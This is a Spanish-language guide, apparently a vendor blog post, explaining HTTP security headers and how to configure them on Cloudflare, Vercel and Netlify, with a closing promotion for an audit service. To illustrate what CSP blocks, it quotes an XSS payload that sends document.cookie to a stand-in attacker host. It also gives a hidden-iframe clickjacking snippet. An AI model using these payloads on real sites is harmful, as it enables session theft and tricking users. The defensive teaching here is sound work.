Security headers HTTP: la protección que la mayoría de SaaS olvida
CSP, HSTS, X-Frame-Options y el resto de los security headers HTTP explicados. Qué ataques previenen, cómo configurarlos en Cloudflare, Vercel y Netlify.
Los security headers HTTP son una de las defensas más baratas (15 minutos de config) y más efectivas (bloquean familias enteras de ataques). Pero la mayoría de SaaS vibe-coded los omiten porque los builders no los configuran por default.
TL;DR
- El contexto: en un escaneo de 1.072 apps vibe-coded, Symbiotic Security (2026) encontró que el 98% tenía al menos un fallo de seguridad — y los headers ausentes son de los más fáciles de evitar.
- CSP previene que un XSS exitoso ejecute código del atacante
- HSTS elimina la ventana de downgrade attacks (HTTP → HTTPS)
- X-Frame-Options previene clickjacking via iframe
- X-Content-Type-Options previene MIME sniffing
- Referrer-Policy controla qué información mandás al click hacia afuera
- Permissions-Policy desactiva APIs sensibles (camera, mic, geolocation)
Content Security Policy (CSP) — el más importante
CSP le dice al browser de qué orígenes puede cargar scripts, stylesheets, imágenes, fuentes, conexiones fetch, iframes, etc. Si un atacante logra inyectar <script>fetch('https://atacante.com/?cookie='+document.cookie)</script> vía XSS, CSP bloquea esa request porque atacante.com no está autorizado.
Política básica
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
Explicación de cada directiva:
default-src 'self': por default, todo recurso debe venir del mismo origenscript-src 'self': scripts solo desde tu propio dominio. Sin'unsafe-inline'ni'unsafe-eval'(los dos abren XSS si los permitís)style-src 'self' 'unsafe-inline': estilos del mismo origen + inline (Tailwind y otros frameworks lo requieren)img-src 'self' data: https:: imágenes propias, data URIs (avatares base64) y cualquier HTTPS (URLs externas seguras)connect-src 'self': fetch/XHR/WebSocket solo a tu dominio. Si llamás a APIs externas (Stripe, Supabase) las tenés que listarframe-ancestors 'none': nadie puede embeberte en un iframe (equivalente a X-Frame-Options: DENY)base-uri 'self': nadie puede cambiar la<base>tag (vector de inyección)form-action 'self': forms solo se pueden submitear a tu propio dominio
Política con servicios externos comunes
Si usás Stripe, Supabase, Google Fonts, etc., necesitás listarlos:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://js.stripe.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
font-src 'self' https://fonts.gstatic.com;
img-src 'self' data: https:;
connect-src 'self' https://api.stripe.com https://*.supabase.co https://*.supabase.in;
frame-src 'self' https://js.stripe.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
Modo report-only para iterar
CSP estricto rompe muchas apps la primera vez. Para descubrir qué falta sin romper nada en producción:
Content-Security-Policy-Report-Only:
default-src 'self'; ...;
report-uri /api/csp-report;
El browser no bloquea nada, solo manda un report a /api/csp-report cada vez que algo violaría la política. Implementás un endpoint backend que reciba esos reports, ves qué está fallando, y ajustás la política. Cuando no hay reports en 1-2 semanas, pasás a Content-Security-Policy (sin Report-Only) y entra en enforce mode.
Nonces para scripts inline legítimos
Si tu framework genera <script> inline (Astro, Next, Svelte), 'unsafe-inline' es la opción cómoda pero abre XSS. La alternativa moderna es generar un nonce único por response y firmar cada script:
<script nonce="abc123-random">...</script>
Content-Security-Policy: script-src 'nonce-abc123-random';
El browser solo ejecuta scripts con ese nonce. Un script inyectado por XSS no lo conoce y queda bloqueado. El framework genera el nonce server-side; en builders como Lovable y Bolt esto puede no estar disponible out-of-the-box.
HTTP Strict Transport Security (HSTS)
HSTS le dice al browser “este dominio es solo HTTPS, ni intentes HTTP”. Después de la primera visita exitosa, el browser recuerda esto por max-age segundos y bloquea cualquier intento de downgrade.
Política recomendada
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
max-age=63072000: 2 años en segundos (recomendado para preload list)includeSubDomains: aplica también a subdominios (api.tudominio.com, www.tudominio.com)preload: tu dominio puede ser agregado a la preload list de Chrome/Firefox/Safari
HSTS preload
Sin preload, hay una ventana antes de la primera visita HTTPS donde alguien en la red local podría interceptar. Con preload, browsers ya saben que tu dominio es HTTPS desde fábrica.
Para agregar tu dominio:
- Asegurate que servís el header con
max-age >= 31536000(1 año),includeSubDomains,preload - Confirmá que todos los subdominios soportan HTTPS
- Registrate en https://hstspreload.org/
- Esperá ~6 semanas a que Chrome/Firefox lo incluyan en su próxima release
Importante: HSTS preload es prácticamente irreversible. Si registrás tu dominio y después necesitás soportar HTTP (por algún motivo), la baja toma meses. Solo registrá dominios que sabés que serán HTTPS-only de por vida.
X-Frame-Options y frame-ancestors
Sin este header, alguien puede embeberte en un iframe en un sitio malicioso:
<!-- en sitio-atacante.com -->
<iframe src="https://tu-app.com/transfer" style="opacity:0;position:absolute;..."></iframe>
<button>Click para ganar un iPhone gratis!</button>
El usuario hace click pensando que es el botón fake, pero en realidad clickea el botón de “Confirmar transferencia” de tu app (que aceptó la sesión por la cookie). Eso es clickjacking.
Configuración
Dos formas equivalentes (configurar ambas para máxima compatibilidad):
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
Si necesitás permitir embed solo en tu propio dominio (para microfrontends):
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
frame-ancestors es la versión moderna; X-Frame-Options el legacy. Browsers modernos respetan frame-ancestors si ambos están presentes.
X-Content-Type-Options: nosniff
Sin este header, browsers viejos pueden adivinar el MIME type ignorando el Content-Type del server. Si tu app permite upload de archivos y servís uno como text/plain, el browser podría ejecutarlo como HTML/JS.
X-Content-Type-Options: nosniff
Una línea, una protección. No tiene downside.
Referrer-Policy
Cuando el usuario hace click en un link externo, su browser manda el Referer header con la URL de origen. Esto puede filtrar:
- Tokens de sesión en query strings (ej. magic links)
- Información sobre páginas internas (ej.
/dashboard/projects/123) - Estructura de tu app
Referrer-Policy: strict-origin-when-cross-origin
- Mismo origen: manda URL completa
- Cross-origin HTTPS → HTTPS: manda solo el origen (
https://tu-app.com, sin path) - HTTPS → HTTP: no manda nada
Alternativa más estricta: Referrer-Policy: no-referrer (no manda nunca).
Permissions-Policy
Controla qué APIs sensibles del browser puede usar tu app o sus iframes. Si tu app no usa la cámara, desactivala — defense-in-depth en caso de XSS exitoso.
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(), usb=(), interest-cohort=()
interest-cohort=() desactiva FLoC (el sistema viejo de tracking de Google). Si tu app no necesita una API específica, dejá los paréntesis vacíos (lista de orígenes permitidos vacía = nadie).
Cómo configurar headers por hosting
Cloudflare Pages
Creá public/_headers (se sirve desde la raíz del proyecto):
/*
Content-Security-Policy: default-src 'self'; script-src 'self' https://js.stripe.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.stripe.com https://*.supabase.co; frame-ancestors 'none'; base-uri 'self'; form-action 'self';
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(), interest-cohort=()
Si tu Cloudflare Pages corre con SSR (workers adapter), _headers solo aplica a assets estáticos. Para responses dinámicas necesitás un middleware:
// src/middleware.ts (Astro)
import { defineMiddleware } from 'astro/middleware';
export const onRequest = defineMiddleware(async (context, next) => {
const response = await next();
response.headers.set('Content-Security-Policy', '...');
response.headers.set('Strict-Transport-Security', 'max-age=63072000; includeSubDomains; preload');
response.headers.set('X-Frame-Options', 'DENY');
// ...
return response;
});
Vercel
En vercel.json:
{
"headers": [
{
"source": "/(.*)",
"headers": [
{
"key": "Content-Security-Policy",
"value": "default-src 'self'; script-src 'self' https://js.stripe.com; ..."
},
{
"key": "Strict-Transport-Security",
"value": "max-age=63072000; includeSubDomains; preload"
},
{ "key": "X-Frame-Options", "value": "DENY" },
{ "key": "X-Content-Type-Options", "value": "nosniff" },
{ "key": "Referrer-Policy", "value": "strict-origin-when-cross-origin" },
{
"key": "Permissions-Policy",
"value": "camera=(), microphone=(), geolocation=()"
}
]
}
]
}
Netlify
En netlify.toml:
[[headers]]
for = "/*"
[headers.values]
Content-Security-Policy = "default-src 'self'; script-src 'self' https://js.stripe.com; ..."
Strict-Transport-Security = "max-age=63072000; includeSubDomains; preload"
X-Frame-Options = "DENY"
X-Content-Type-Options = "nosniff"
Referrer-Policy = "strict-origin-when-cross-origin"
Permissions-Policy = "camera=(), microphone=(), geolocation=()"
Verificá tu configuración
Después de deployar, probá:
-
DevTools → Network → Headers: cargá tu página, mirá los headers de la response principal. Cada header de arriba debería aparecer.
-
observatory.mozilla.org: pegás tu URL y te da un reporte con score A+ a F sobre headers de seguridad. Te dice exactamente qué falta y cómo arreglarlo.
-
securityheaders.com: similar al anterior, otro segundo opinion.
-
VibeAuditt: detecta automáticamente qué headers faltan y los reporta con severity. La auditoría gratis incluye este check; el reporte Pro suma payload exacto para configurar el header en tu hosting.
Patrones que comúnmente vemos en SaaS vibe-coded
Estos patrones aparecen frecuentemente cuando auditamos apps generadas con IA (basado en observación de los audits durante el desarrollo de VibeAuditt; no es estadística de industria):
- Headers de seguridad ausentes por completo (configuración default del hosting no los agrega)
- HSTS presente pero sin
preload - CSP con
'unsafe-inline'y'unsafe-eval', que neutraliza la protección anti-XSS X-Frame-Optionsausente pese a no necesitar embed legítimo
La buena noticia: estos son 4 líneas de configuración en _headers o vercel.json. 15 minutos de trabajo, defensa contra los ataques automatizados que dominan el internet.
Si tu app corre sobre un stack concreto, tenemos guías con los detalles de cada uno: revisá la guía de seguridad para apps de Lovable y la guía de seguridad para apps con Supabase, donde explicamos cómo configurar estos headers y el resto de los puntos en cada plataforma.
Para auditoría completa de tu setup, probá VibeAuditt gratis. Y si querés profundizar en el contexto de por qué los SaaS vibe-coded suelen estar configurados así, leé los 12 errores de seguridad más comunes.
// preguntas frecuentes
Preguntas frecuentes
¿Qué pasa si no tengo CSP configurado?
Si un atacante logra inyectar JavaScript en tu app (XSS), puede hacer lo que quiera: robar tokens, llamar a tu API en nombre del usuario, modificar el DOM. Con CSP bien configurado, el browser bloquea el script inyectado antes de ejecutarlo. CSP no previene XSS, lo mitiga drásticamente.
¿HSTS preload es obligatorio?
No, pero altamente recomendado para sitios con login o pagos. Sin preload, hay una ventana entre la primera visita HTTP y el redirect a HTTPS donde un MITM en la red local puede interceptar la sesión. Con preload, browsers como Chrome y Firefox saben que tu dominio es HTTPS-only antes incluso de la primera request.
¿Configurar CSP rompe mi app?
Puede romperla la primera vez, sí. CSP estricto bloquea scripts inline, eval, fuentes externas no listadas. La estrategia recomendada es empezar en modo report-only para ver qué viola la política sin bloquear nada, ajustar la política, y recién cuando no haya reports, pasar a modo enforce.
¿Los security headers afectan SEO o performance?
SEO: positivo, Google considera HTTPS y headers de seguridad como ranking factor menor. Performance: imperceptible. Los headers son texto, agregan unos pocos bytes a la response. El impacto en LCP/FCP es nulo. Lighthouse incluso premia su presencia en el score Best Practices.
¿Necesito todos los headers o solo algunos?
Los críticos son CSP, HSTS y X-Frame-Options. Los demás (X-Content-Type-Options, Referrer-Policy, Permissions-Policy) son altamente recomendados pero menos críticos. Pensalo así: CSP previene XSS exitoso, HSTS previene downgrade attacks, X-Frame-Options previene clickjacking. Esos tres tapan los ataques más automatizados.
// escanear ahora
Audita tu SaaS gratis
Recibí un reporte de seguridad en menos de un minuto. Detectamos claves expuestas, RLS deshabilitado, headers de seguridad ausentes y más. Sin tarjeta, sin instalación.
10 auditorías gratis al mes · reportes detallados desde 9 USD